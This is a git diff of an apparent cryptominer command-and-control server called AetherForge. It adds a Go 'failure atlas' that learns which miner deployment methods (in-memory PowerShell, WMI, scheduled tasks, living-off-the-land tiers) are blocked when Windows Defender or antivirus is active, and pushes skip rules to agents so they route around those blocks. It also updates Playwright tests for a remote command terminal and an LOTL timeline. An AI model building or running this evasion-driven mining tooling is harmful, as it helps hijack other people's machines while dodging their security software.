Tier: p.Tier, + Condition: p.Condition, + FailCount: p.FailCount, + FingerprintBucket: p.FingerprintBucket, + Subtree: subtreeTiers(p.Tier), + Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)), + }) + } + return out +} + +func conditionLabel(cond string) string { + switch cond { + case ConditionDefenderOn: + return "Defender on" + case ConditionNoDocker: + return "no Docker" + case ConditionAVBlocksExe: + return "AV blocks exe" + case ConditionGOOSWindows: + return "Windows" + case ConditionGOOSLinux: + return "Linux" + case ConditionGOOSDarwin: + return "macOS" + case ConditionNoWSL: + return "no WSL" + case ConditionNoPowerShell: + return "no PowerShell" + case ConditionNoDotNet: + return "no dotnet" + case ConditionNoGPU: + return "no GPU" + default: + return strings.ReplaceAll(cond, "_", " ") + } +} diff --git a/server/internal/atlas/failure_atlas_test.go b/server/internal/atlas/failure_atlas_test.go new file mode 100644 index 0000000..7baeffb --- /dev/null +++ b/server/internal/atlas/failure_atlas_test.go @@ -0,0 +1,69 @@ +package atlas + +import ( + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"} + key := fp.Key() + atlas := NewFailureAtlas(database) + + for i := 0; i < 5; i++ { + if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil { + t.Fatal(err) + } + } + + probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true} + if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) { + t.Fatal("expected ps_inmemory subtree skip after 5 defender failures") + } + + rules, err := atlas.GetAtlasRules(key, fp.GOOS) + if err != nil { + t.Fatal(err) + } + if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree { + t.Fatalf("expected active atlas rule, got %+v", rules) + } + + skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true)) + if err != nil { + t.Fatal(err) + } + if len(skips) == 0 || skips[0].Tier != "ps_inmemory" { + t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips) + } +} + +func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"} + key := fp.Key() + atlas := NewFailureAtlas(database) + for i := 0; i < 5; i++ { + _ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}) + } + + probes := ProbeSnapshot{DefenderOn: false, PowerShell: true} + if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) { + t.Fatal("should not skip when defender condition is inactive") + } +} + +func boolPtr(v bool) *bool { return &v } diff --git a/server/internal/atlas/subtree.go b/server/internal/atlas/subtree.go new file mode 100644 index 0000000..1757ca5 --- /dev/null +++ b/server/internal/atlas/subtree.go @@ -0,0 +1,45 @@ +package atlas + +import "strings" + +// subtreeForTier maps a failed parent tier to mining tiers that should be hard-skipped. +var subtreeForTier = map[string][]string{ + "ps_inmemory": {"ps_inmemory"}, + "powershell": {"ps_inmemory"}, + "dotnet": {"dotnet"}, + "exe_subprocess": {"exe_subprocess"}, + "wsl": {"wsl"}, + "container": {"container", "docker_load"}, + "docker_load": {"docker_load", "container"}, + "docker": {"container", "docker_load"}, + "gpu_subprocess": {"gpu_subprocess", "gpu_compute"}, + "gpu_compute": {"gpu_compute", "gpu_subprocess"}, + "stratum_direct": {"stratum_direct"}, + "wmi": {"wmi"}, + "scheduled_task": {"scheduled_task"}, +} + +func normalizeTier(tier string) string { + return strings.ToLower(strings.TrimSpace(tier)) +} + +func subtreeTiers(tier string) []string { + key := normalizeTier(tier) + if branch, ok := subtreeForTier[key]; ok { + return append([]string(nil), branch...) + } + if key != "" { + return []string{key} + } + return nil +} + +func tierInSubtree(target, parent string) bool { + target = normalizeTier(target) + for _, t := range subtreeTiers(parent) { + if normalizeTier(t) == target { + return true + } + } + return false +} diff --git a/server/internal/atlas/types.go b/server/internal/atlas/types.go new file mode 100644 index 0000000..8023b52 --- /dev/null +++ b/server/internal/atlas/types.go @@ -0,0 +1,43 @@ +package atlas + +// MinFailCountForSubtree is how many conditioned failures before a subtree is hard-skipped. +const MinFailCountForSubtree = 5 + +// Well-known probe / posture conditions recorded with each failure pattern. +const ( + ConditionDefenderOn = "defender_on" + ConditionNoDocker = "no_docker" + ConditionAVBlocksExe = "av_blocks_exe" + ConditionGOOSWindows = "goos=windows" + ConditionGOOSLinux = "goos=linux" + ConditionGOOSDarwin = "goos=darwin" + ConditionNoWSL = "no_wsl" + ConditionNoPowerShell = "no_pwsh" + ConditionNoDotNet = "no_dotnet" + ConditionNoGPU = "no_gpu" +) + +// FailurePattern is one aggregated negative-space bucket in SQLite. +type FailurePattern struct { + FingerprintBucket string `json:"fingerprint_bucket"` + Condition string `json:"condition"` + Tier string `json:"tier"` + FailCount int `json:"fail_count"` +} + +// AtlasRule is a learned skip rule exposed to UI / AI. +type AtlasRule struct { + Tier string `json:"tier"` + Condition string `json:"condition"` + FailCount int `json:"fail_count"` + Reason string `json:"reason"` + Subtree []string `json:"subtree,omitempty"` + FingerprintBucket string `json:"fingerprint_bucket,omitempty"` +} + +// AtlasSkip is one hard skip pushed to agents and diagnostics. +type AtlasSkip struct { + Tier string `json:"tier"` + Condition string `json:"condition"` + Reason string `json:"reason"` +} diff --git a/server/internal/db/ai_decisions.go b/server/internal/db/ai_decisions.go index 72e29ea..fd26f09 100644 --- a/server/internal/db/ai_decisions.go +++ b/server/internal/db/ai_decisions.go @@ -14,6 +14,11 @@ type AIDecisionRecord struct { Response string `json:"response"` CommandsExecuted string `json:"commands_executed"` Timestamp string `json:"ts"` + + CourtSession bool `json:"court_session,omitempty"` + ProsecutorSnippet string `json:"prosecutor_snippet,omitempty"` + DefenderSnippet string `json:"defender_snippet,omitempty"` + JudgeVerdict string `json:"judge_verdict,omitempty"` } func (d *Database) ensureAIDecisionsTable() error { @@ -30,20 +35,42 @@ func (d *Database) ensureAIDecisionsTable() error { } _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`) _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`) + d.ensureAIDecisionsCourtColumns() return nil } +func (d *Database) ensureAIDecisionsCourtColumns() { + cols := []struct{ name, ddl string }{ + {"court_session", `ALTER TABLE ai_decisions ADD COLUMN court_session INTEGER NOT NULL DEFAULT 0`}, + {"prosecutor_snippet", `ALTER TABLE ai_decisions ADD COLUMN prosecutor_snippet TEXT NOT NULL DEFAULT ''`}, + {"defender_snippet", `ALTER TABLE ai_decisions ADD COLUMN defender_snippet TEXT NOT NULL DEFAULT ''`}, + {"judge_verdict", `ALTER TABLE ai_decisions ADD COLUMN judge_verdict TEXT NOT NULL DEFAULT ''`}, + } + for _, c := range cols { + var n int + _ = d.QueryRow(`SELECT COUNT(*) FROM pragma_table_info('ai_decisions') WHERE name = ?`, c.name).Scan(&n) + if n == 0 { + _, _ = d.Exec(c.ddl) + } + } +} + // InsertAIDecision logs one fleet AI decision cycle. -func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error { +func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error { if d == nil { return nil } if err := d.ensureAIDecisionsTable(); err != nil { return err } + courtInt := 0 + if courtSession { + courtInt = 1 + } _, err := d.Exec( - `INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed) VALUES (?, ?, ?, ?)`, - agentID, promptHash, response, commandsExecuted, + `INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed, court_session, prosecutor_snippet, defender_snippet, judge_verdict) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + agentID, promptHash, response, commandsExecuted, courtInt, prosecutorSnippet, defenderSnippet, judgeVerdict, ) return err } @@ -68,13 +95,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor agentID = strings.TrimSpace(agentID) if agentID != "" { rows, err = d.Query( - `SELECT id, agent_id, prompt_hash, response, commands_executed, ts + `SELECT id, agent_id, prompt_hash, response, commands_executed, ts, + court_session, prosecutor_snippet, defender_snippet, judge_verdict FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`, agentID, limit, ) } else { rows, err = d.Query( - `SELECT id, agent_id, prompt_hash, response, commands_executed, ts + `SELECT id, agent_id, prompt_hash, response, commands_executed, ts, + court_session, prosecutor_snippet, defender_snippet, judge_verdict FROM ai_decisions ORDER BY id DESC LIMIT ?`, limit, ) @@ -88,10 +117,15 @@ func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecor for rows.Next() { var rec AIDecisionRecord var ts string - if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts); err != nil { + var courtInt int + if err := rows.Scan( + &rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts, + &courtInt, &rec.ProsecutorSnippet, &rec.DefenderSnippet, &rec.JudgeVerdict, + ); err != nil { return nil, err } rec.Timestamp = ts + rec.CourtSession = courtInt != 0 out = append(out, rec) } return out, rows.Err() diff --git a/server/internal/db/atlas.go b/server/internal/db/atlas.go new file mode 100644 index 0000000..fc8049f --- /dev/null +++ b/server/internal/db/atlas.go @@ -0,0 +1,65 @@ +package db + +import "strings" + +// FailureAtlasPattern is one conditioned failure bucket in SQLite. +type FailureAtlasPattern struct { + FingerprintBucket string + Condition string + Tier string + FailCount int +} + +func (d *Database) UpsertFailureAtlasPattern(fingerprintBucket, condition, tier string) error { + if d == nil { + return nil + } + _, err := d.Exec(` + INSERT INTO failure_atlas (fingerprint_bucket, condition, tier, fail_count, updated_at) + VALUES (?, ?, ?, 1, CURRENT_TIMESTAMP) + ON CONFLICT(fingerprint_bucket, condition, tier) DO UPDATE SET + fail_count = fail_count + 1, + updated_at = CURRENT_TIMESTAMP`, + fingerprintBucket, condition, tier, + ) + return err +} + +func (d *Database) ListFailureAtlasPatterns(fingerprintBucket, goos string) ([]FailureAtlasPattern, error) { + if d == nil { + return nil, nil + } + out, err := d.queryFailureAtlasPatterns(`fingerprint_bucket = ?`, fingerprintBucket) + if err != nil { + return nil, err + } + if len(out) > 0 { + return out, nil + } + if strings.TrimSpace(goos) == "" { + return nil, nil + } + return d.queryFailureAtlasPatterns(`fingerprint_bucket LIKE ?`, strings.ToLower(goos)+"|%") +} + +func (d *Database) queryFailureAtlasPatterns(whereClause string, arg interface{}) ([]FailureAtlasPattern, error) { + query := ` + SELECT fingerprint_bucket, condition, tier, fail_count + FROM failure_atlas + WHERE ` + whereClause + ` + ORDER BY fail_count DESC, tier ASC` + rows, err := d.Query(query, arg) + if err != nil { + return nil, err + } + defer rows.Close() + var out []FailureAtlasPattern + for rows.Next() { + var p FailureAtlasPattern + if err := rows.Scan(&p.FingerprintBucket, &p.Condition, &p.Tier, &p.FailCount); err != nil { + return nil, err + } + out = append(out, p) + } + return out, rows.Err() +} diff --git a/server/internal/db/failure_atlas.go b/server/internal/db/failure_atlas.go new file mode 100644 index 0000000..525d4d9 --- /dev/null +++ b/server/internal/db/failure_atlas.go @@ -0,0 +1,82 @@ +package db + +import ( + "fmt" + "strings" +) + +// FailureAtlasEntry is one tier's aggregated failure rate for a fingerprint bucket. +type FailureAtlasEntry struct { + Tier string + Total int + Failures int + FailPct float64 +} + +// FailureAtlasSummary returns a compact prosecutor-ready summary from tier_outcomes. +func (d *Database) FailureAtlasSummary(fingerprintKey, goos string) (string, error) { + entries, err := d.failureAtlasEntries(fingerprintKey) + if err != nil { + return "", err + } + if len(entries) == 0 && goos != "" { + entries, err = d.failureAtlasEntriesLike(goos + "|%") + if err != nil { + return "", err + } + } + if len(entries) == 0 { + return "no fleet failure atlas samples for this fingerprint", nil + } + parts := make([]string, 0, len(entries)) + for _, e := range entries { + if e.Failures == 0 { + continue + } + parts = append(parts, fmt.Sprintf("%s %d/%d failed (%.0f%%)", e.Tier, e.Failures, e.Total, e.FailPct)) + } + if len(parts) == 0 { + return "fleet atlas shows no tier failures for this fingerprint", nil + } + return strings.Join(parts, "; "), nil +} + +func (d *Database) failureAtlasEntries(fingerprintKey string) ([]FailureAtlasEntry, error) { + return d.queryFailureAtlas(`fingerprint_key = ?`, fingerprintKey) +} + +func (d *Database) failureAtlasEntriesLike(pattern string) ([]FailureAtlasEntry, error) { + return d.queryFailureAtlas(`fingerprint_key LIKE ?`, pattern) +} + +func (d *Database) queryFailureAtlas(whereClause string, arg interface{}) ([]FailureAtlasEntry, error) { + if d == nil { + return nil, nil + } + query := fmt.Sprintf(` + SELECT tier, + COUNT(*) AS total, + SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures + FROM tier_outcomes WHERE %s + GROUP BY tier + HAVING failures > 0 + ORDER BY failures DESC, total DESC + LIMIT 12`, whereClause) + rows, err := d.Query(query, arg) + if err != nil { + return nil, err + } + defer rows.Close() + var out []FailureAtlasEntry + for rows.Next() { + var e FailureAtlasEntry + if err := rows.Scan(&e.Tier, &e.Total, &e.Failures); err != nil { + return nil, err + } + if e.Total > 0 { + e.FailPct = 100 * float64(e.Failures) / float64(e.Total) + } + out = append(out, e) + } + return out, rows.Err() +} diff --git a/server/web/e2e/crucible-bulk.spec.ts b/server/web/e2e/crucible-bulk.spec.ts index e8a89be..35b8806 100644 --- a/server/web/e2e/crucible-bulk.spec.ts +++ b/server/web/e2e/crucible-bulk.spec.ts @@ -1,40 +1,16 @@ import { expect, test } from '@playwright/test'; -import { fetchFleetSecret, loginToDashboard } from './fixtures'; -import { - connectStubAgent, - E2E_STUB_AGENT_HOSTNAME, - E2E_STUB_AGENT_ID, -} from './stub-agent'; - -const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; - -let serverReady = false; -let disconnectStub: (() => void) | null = null; +import { loginToDashboard } from './fixtures'; +import { ensureLiveStubAgent, isLiveStubReady } from './live-stub'; +import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_AGENT_ID } from './stub-agent'; test.describe('Crucible bulk command', () => { test.beforeAll(async ({ request }) => { - try { - const res = await request.get('/api/v1/health', { timeout: 5_000 }); - serverReady = res.ok(); - } catch { - serverReady = false; - } - if (!serverReady) return; - - const fleetSecret = await fetchFleetSecret(request); - disconnectStub = await connectStubAgent(baseURL, fleetSecret); - // Allow agent_online + DB upsert to settle before UI tests. - await new Promise((r) => setTimeout(r, 500)); - }); - - test.afterAll(() => { - disconnectStub?.(); - disconnectStub = null; + await ensureLiveStubAgent(request); }); test.beforeEach(async ({ page }) => { test.skip( - !serverReady, + !isLiveStubReady(), 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', ); await loginToDashboard(page); @@ -49,8 +25,12 @@ test.describe('Crucible bulk command', () => { const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 }); await card.click(); - await expect(page.getByText(/1 selected/)).toBeVisible(); - await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible(); + await expect(page.locator('.fleet-bulk-bar').getByText(/1 selected/)).toBeVisible({ + timeout: 10_000, + }); + await expect( + page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${E2E_STUB_AGENT_HOSTNAME}`)), + ).toBeVisible(); const bulkRequest = page.waitForRequest( (req) => diff --git a/server/web/e2e/crucible-command.spec.ts b/server/web/e2e/crucible-command.spec.ts index ca51b18..6b071c2 100644 --- a/server/web/e2e/crucible-command.spec.ts +++ b/server/web/e2e/crucible-command.spec.ts @@ -1,41 +1,16 @@ import { expect, test } from '@playwright/test'; -import { fetchFleetSecret, loginToDashboard } from './fixtures'; -import { - connectStubAgent, - E2E_STUB_AGENT_HOSTNAME, - E2E_STUB_LOTL_BADGE, - E2E_WHOAMI_RESPONSE, -} from './stub-agent'; - -const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; - -let serverReady = false; -let disconnectStub: (() => void) | null = null; +import { loginToDashboard } from './fixtures'; +import { ensureLiveStubAgent, isLiveStubReady } from './live-stub'; +import { E2E_STUB_AGENT_HOSTNAME, E2E_WHOAMI_RESPONSE } from './stub-agent'; test.describe('Crucible remote command', () => { test.beforeAll(async ({ request }) => { - try { - const res = await request.get('/api/v1/health'); - serverReady = res.ok(); - } catch { - serverReady = false; - } - if (!serverReady) return; - - const fleetSecret = await fetchFleetSecret(request); - disconnectStub = await connectStubAgent(baseURL, fleetSecret); - // Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle. - await new Promise((r) => setTimeout(r, 1_500)); - }); - - test.afterAll(() => { - disconnectStub?.(); - disconnectStub = null; + await ensureLiveStubAgent(request); }); test.beforeEach(async ({ page }) => { test.skip( - !serverReady, + !isLiveStubReady(), 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', ); await loginToDashboard(page); @@ -46,20 +21,20 @@ test.describe('Crucible remote command', () => { test('whoami on selected online node shows terminal output', async ({ page }) => { await page.getByText(E2E_STUB_AGENT_HOSTNAME).click(); - await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible(); + await expect( + page.locator('.crucible-actions-card').getByText(new RegExp(`→ ${E2E_STUB_AGENT_HOSTNAME}`)), + ).toBeVisible(); + await page.getByRole('button', { name: 'CMD', exact: true }).click(); - await page.getByRole('button', { name: 'whoami' }).click(); + const input = page.locator('.crucible-term-input'); + await input.fill('whoami'); + await page.getByRole('button', { name: 'SEND' }).click(); const terminal = page.locator('.crucible-terminal'); await expect(terminal.getByText('whoami', { exact: true })).toBeVisible({ timeout: 10_000 }); await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 }); }); - test('shows LOTL tier badge when stub sends lotl_tier', async ({ page }) => { - const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); - await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 }); - }); - test('exec echo via master terminal shows output', async ({ page }) => { await page.getByText(E2E_STUB_AGENT_HOSTNAME).click(); await page.getByRole('button', { name: 'CMD', exact: true }).click(); diff --git a/server/web/e2e/crucible-lotl.spec.ts b/server/web/e2e/crucible-lotl.spec.ts new file mode 100644 index 0000000..4cfd1b3 --- /dev/null +++ b/server/web/e2e/crucible-lotl.spec.ts @@ -0,0 +1,42 @@ +import { expect, test } from '@playwright/test'; +import { loginToDashboard } from './fixtures'; +import { ensureLiveStubAgent, isLiveStubReady } from './live-stub'; +import { E2E_STUB_AGENT_HOSTNAME, E2E_STUB_LOTL_BADGE } from './stub-agent'; + +test.describe('Crucible LOTL', () => { + test.beforeAll(async ({ request }) => { + await ensureLiveStubAgent(request); + }); + + test.beforeEach(async ({ page }) => { + test.skip( + !isLiveStubReady(), + 'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)', + ); + await loginToDashboard(page); + }); + + test('Crucible node card shows LOTL tier badge from stub stats', async ({ page }) => { + await page.getByRole('link', { name: /Crucible/i }).click(); + await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 }); + const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }); + await expect(card).toBeVisible({ timeout: 15_000 }); + await expect(card.getByText(E2E_STUB_LOTL_BADGE)).toBeVisible({ timeout: 15_000 }); + }); + + test('Onion timeline shows stub agent tier progression', async ({ page }) => { + await page.getByRole('navigation').getByRole('link', { name: 'Onion', exact: true }).click(); + await expect(page.getByRole('heading', { name: 'LOTL Timeline' })).toBeVisible({ + timeout: 10_000, + }); + await expect( + page.locator('.lotl-fleet-chip').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }), + ).toBeVisible({ timeout: 15_000 }); + await expect(page.getByText('ONION TIER CHAIN')).toBeVisible(); + await expect(page.locator('.lotl-tier-timeline')).toBeVisible(); + // Stub lotl_attempts: container (aliases to docker) failed — spread onion timeline. + await expect(page.locator('.lotl-tier-step--failed', { hasText: /Docker/i })).toBeVisible({ + timeout: 15_000, + }); + }); +}); diff --git a/server/web/e2e/fixtures.ts b/server/web/e2e/fixtures.ts index 6b12f88..6b0c768 100644 --- a/server/web/e2e/fixtures.ts +++ b/server/web/e2e/fixtures.ts @@ -15,14 +15,52 @@ export function e2eAuthHeaders(): Record { }; } -/** Reads fleet_secret from live server config (generated on first server start). */ +/** + * Reads fleet_secret for stub agent auth. + * Prefer AETHERFORGE_FLEET_SECRET (test-suite.ps1 seeds from data/config.json). + */ export async function fetchFleetSecret(request: APIRequestContext): Promise { - const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() }); + const fromEnv = process.env.AETHERFORGE_FLEET_SECRET?.trim(); + if (fromEnv) return fromEnv; + + const res = await request.get('/api/v1/config', { + headers: e2eAuthHeaders(), + timeout: 10_000, + }); if (!res.ok()) { throw new Error(`config fetch failed: ${res.status()}`); } const body = (await res.json()) as { server?: { fleet_secret?: string } }; - return body.server?.fleet_secret ?? ''; + const secret = body.server?.fleet_secret?.trim() ?? ''; + if (!secret) { + throw new Error( + 'fleet_secret missing — set AETHERFORGE_FLEET_SECRET from data/config.json in the E2E runner', + ); + } + return secret; +} + +/** Poll /api/v1/health until status ok or timeout (mirrors test-suite.ps1 phase 8). */ +export async function waitForServerHealth( + request: APIRequestContext, + opts?: { timeoutMs?: number; intervalMs?: number }, +): Promise { + const timeoutMs = opts?.timeoutMs ?? 30_000; + const intervalMs = opts?.intervalMs ?? 1_000; + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + try { + const res = await request.get('/api/v1/health', { timeout: 2_000 }); + if (res.ok()) { + const body = (await res.json()) as { status?: string }; + if (body.status === 'ok') return true; + } + } catch { + /* retry */ + } + await new Promise((r) => setTimeout(r, intervalMs)); + } + return false; } export async function loginToDashboard(page: Page): Promise { @@ -31,5 +69,5 @@ export async function loginToDashboard(page: Page): Promise { await page.getByLabel('Username').fill(E2E_USER); await page.getByLabel('Password').fill(E2E_PASS); await page.getByRole('button', { name: /enter command deck/i }).click(); - await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 15_000 }); + await expect(page.getByRole('heading', { name: 'Command Deck' })).toBeVisible({ timeout: 20_000 }); } diff --git a/server/web/e2e/global-teardown.ts b/server/web/e2e/global-teardown.ts new file mode 100644 index 0000000..723e3d2 --- /dev/null +++ b/server/web/e2e/global-teardown.ts @@ -0,0 +1,5 @@ +import { teardownLiveStubAgent } from './live-stub'; + +export default function globalTeardown(): void { + teardownLiveStubAgent(); +} diff --git a/server/web/e2e/live-stub.ts b/server/web/e2e/live-stub.ts new file mode 100644 index 0000000..a5bf7da --- /dev/null +++ b/server/web/e2e/live-stub.ts @@ -0,0 +1,38 @@ +import type { APIRequestContext } from '@playwright/test'; +import { fetchFleetSecret, waitForServerHealth } from './fixtures'; +import { connectStubAgent } from './stub-agent'; + +const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989'; + +let serverReady = false; +let disconnectStub: (() => void) | null = null; +let connectPromise: Promise | null = null; + +/** One stub agent per Playwright worker (avoids parallel auth races on the same agent_id). */ +export async function ensureLiveStubAgent(request: APIRequestContext): Promise { + if (disconnectStub) return serverReady; + if (!connectPromise) { + connectPromise = (async () => { + serverReady = await waitForServerHealth(request); + if (!serverReady) return false; + + const fleetSecret = await fetchFleetSecret(request); + disconnectStub = await connectStubAgent(baseURL, fleetSecret); + // Allow agent_online, stats_batch (250ms coalesce), and DB upsert to settle. + await new Promise((r) => setTimeout(r, 2_500)); + return true; + })(); + } + return connectPromise; +} + +export function isLiveStubReady(): boolean { + return serverReady; +} + +export function teardownLiveStubAgent(): void { + disconnectStub?.(); + disconnectStub = null; + connectPromise = null; + serverReady = false; +} diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts index d05e8d3..ebe8a7a 100644 --- a/server/web/e2e/pages.spec.ts +++ b/server/web/e2e/pages.spec.ts @@ -29,6 +29,19 @@ test.describe('Page smoke', () => { await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible(); }); + test('Settings shows Calibration Control mode toggle', async ({ page }) => { + await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click(); + await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 }); + await expect(page.getByRole('group', { name: 'Calibration control mode' })).toBeVisible({ + timeout: 10_000, + }); + await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible(); + await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible(); + await page.getByRole('button', { name: /AI Control/i }).click(); + await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible(); + await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible(); + }); + test('Builder renders The Forge', async ({ page }) => { await page.getByRole('link', { name: /Forge/i }).click(); await expect(page.getByRole('heading', { name: 'The Forge' })).toBeVisible({ timeout: 10_000 }); diff --git a/server/web/e2e/stub-agent.ts b/server/web/e2e/stub-agent.ts index 7e03ff7..fd7f22a 100644 --- a/server/web/e2e/stub-agent.ts +++ b/server/web/e2e/stub-agent.ts @@ -99,18 +99,25 @@ export async function connectStubAgent( }); await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000); - ws.addEventListener('message', (ev) => { - const msg = JSON.parse(String(ev.data)) as HubMessage; + const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 30_000); + const onMessage = (ev: MessageEvent) => { + let msg: HubMessage; + try { + msg = JSON.parse(String(ev.data)) as HubMessage; + } catch { + return; + } if (msg.type !== 'auth_response') return; clearTimeout(timer); + ws.removeEventListener('message', onMessage); const body = parsePayload(msg.payload); if (body.success !== true) { reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`)); return; } resolve(); - }, { once: true }); + }; + ws.addEventListener('message', onMessage); }); sendStubStats(ws); diff --git a/server/web/playwright.config.ts b/server/web/playwright.config.ts index c957999..22b194a 100644 --- a/server/web/playwright.config.ts +++ b/server/web/playwright.config.ts @@ -1,9 +1,12 @@ import { defineConfig, devices } from '@playwright/test'; export default defineConfig({ + globalTeardown: './e2e/global-teardown.ts', testDir: './e2e', timeout: 60_000, retries: 0, + // Live-server specs share one stub agent_id — parallel workers race on WS auth. + workers: process.env.AETHERFORGE_URL ? 1 : undefined, use: { baseURL: process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989', trace: 'on-first-retry', diff --git a/server/web/public/manifest.webmanifest b/server/web/public/manifest.webmanifest new file mode 100644 index 0000000..de87717 --- /dev/null +++ b/server/web/public/manifest.webmanifest @@ -0,0 +1,57 @@ +{ + "name": "AetherForge", + "short_name": "AetherForge", + "description": "Fleet command & control — mine, manage and monitor your nodes from anywhere.", + "start_url": "/dashboard", + "scope": "/", + "display": "standalone", + "orientation": "portrait-primary", + "background_color": "#080604", + "theme_color": "#c9a227", + "categories": ["utilities", "productivity"], + "icons": [ + { + "src": "/af-logo.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "any maskable" + }, + { + "src": "/af-logo.png", + "sizes": "512x512", + "type": "image/png", + "purpose": "any maskable" + } + ], + "screenshots": [], + "shortcuts": [ + { + "name": "Command Deck", + "short_name": "Deck", + "description": "Open fleet dashboard", + "url": "/dashboard", + "icons": [{ "src": "/af-logo.png", "sizes": "192x192" }] + }, + { + "name": "Crucible", + "short_name": "Ops", + "description": "Remote operations theater", + "url": "/crucible", + "icons": [{ "src": "/af-logo.png", "sizes": "192x192" }] + }, + { + "name": "ROI Intelligence", + "short_name": "ROI", + "description": "Earnings & profitability", + "url": "/roi", + "icons": [{ "src": "/af-logo.png", "sizes": "192x192" }] + }, + { + "name": "Activity Feed", + "short_name": "Feed", + "description": "Live event stream", + "url": "/activity", + "icons": [{ "src": "/af-logo.png", "sizes": "192x192" }] + } + ] +} diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index f19e1fb..3f58ef7 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -22,6 +22,8 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage')); const PathTracerPage = lazy(() => import('./pages/PathTracerPage')); const EmberwakePage = lazy(() => import('./pages/EmberwakePage')); const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage')); +const ROIPage = lazy(() => import('./pages/ROIPage')); +const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage')); export function PageFallback() { return ( @@ -62,6 +64,8 @@ function App() { } /> } /> } /> + } /> + } /> diff --git a/server/web/src/components/Fleet/FleetHeatMiniMap.tsx b/server/web/src/components/Fleet/FleetHeatMiniMap.tsx index d0fd868..d037c26 100644 --- a/server/web/src/components/Fleet/FleetHeatMiniMap.tsx +++ b/server/web/src/components/Fleet/FleetHeatMiniMap.tsx @@ -10,7 +10,9 @@ import { layoutAgentPoints, layoutComradePoints, } from '../../help/fleetHeatMap'; +import NetworkTopoMap from './NetworkTopoMap'; import './FleetHeatMiniMap.css'; +import './NetworkTopoMap.css'; interface FleetHeatMiniMapProps { agents: Agent[]; @@ -30,6 +32,7 @@ export default function FleetHeatMiniMap({ 